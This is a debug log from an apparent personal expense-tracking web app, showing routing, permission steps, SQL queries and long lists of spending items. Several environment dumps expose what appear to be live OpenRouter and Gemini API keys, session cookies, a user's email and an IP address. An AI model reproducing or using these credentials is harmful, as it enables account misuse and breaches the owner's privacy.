  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T03:30:11.933Z server-connect:router Serving templateView /
2025-12-20T03:30:11.933Z server-connect:app Executing action step identify
2025-12-20T03:30:11.933Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:11.933Z server-connect:output identity: 1
2025-12-20T03:30:11.933Z server-connect:app Executing action step restrict
2025-12-20T03:30:11.933Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:11.934Z server-connect:output restrict: undefined
2025-12-20T03:30:11.934Z server-connect:app Executing action step restrict
2025-12-20T03:30:11.934Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:11.934Z server-connect:output restrict: undefined
2025-12-20T03:30:11.934Z server-connect:router Render template layouts/main
2025-12-20T03:30:11.935Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:08.233Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T03:30:12.443Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T03:30:12.443Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T03:30:12.443Z server-connect:app Executing action step identify
2025-12-20T03:30:12.444Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:12.444Z server-connect:output identity: 1
2025-12-20T03:30:12.444Z server-connect:app Executing action step restrict
2025-12-20T03:30:12.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:12.444Z server-connect:app Executing action step identify
2025-12-20T03:30:12.444Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:12.444Z server-connect:output identity: 1
2025-12-20T03:30:12.444Z server-connect:app Executing action step restrict
2025-12-20T03:30:12.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:12.444Z server-connect:output restrict: undefined
2025-12-20T03:30:12.444Z server-connect:app Executing action step select
2025-12-20T03:30:12.444Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T03:30:12.445Z server-connect:output restrict: undefined
2025-12-20T03:30:12.445Z server-connect:app Executing action step single
2025-12-20T03:30:12.445Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T03:30:12.445Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T03:30:12.447Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T03:30:14.120Z server-connect:router Serving templateView /
2025-12-20T03:30:14.120Z server-connect:router Serving templateView /login
2025-12-20T03:30:14.120Z server-connect:app Executing action step identify
2025-12-20T03:30:14.121Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:14.121Z server-connect:output identity: 1
2025-12-20T03:30:14.121Z server-connect:app Executing action step restrict
2025-12-20T03:30:14.121Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:14.121Z server-connect:app Executing action step identify
2025-12-20T03:30:14.121Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:14.121Z server-connect:output identity: 1
2025-12-20T03:30:14.121Z server-connect:router Render template layouts/authentication
2025-12-20T03:30:14.121Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:08.233Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/login'
}
2025-12-20T03:30:14.122Z server-connect:output restrict: undefined
2025-12-20T03:30:14.123Z server-connect:app Executing action step restrict
2025-12-20T03:30:14.123Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:14.123Z server-connect:output restrict: undefined
2025-12-20T03:30:14.123Z server-connect:router Render template layouts/main
2025-12-20T03:30:14.123Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
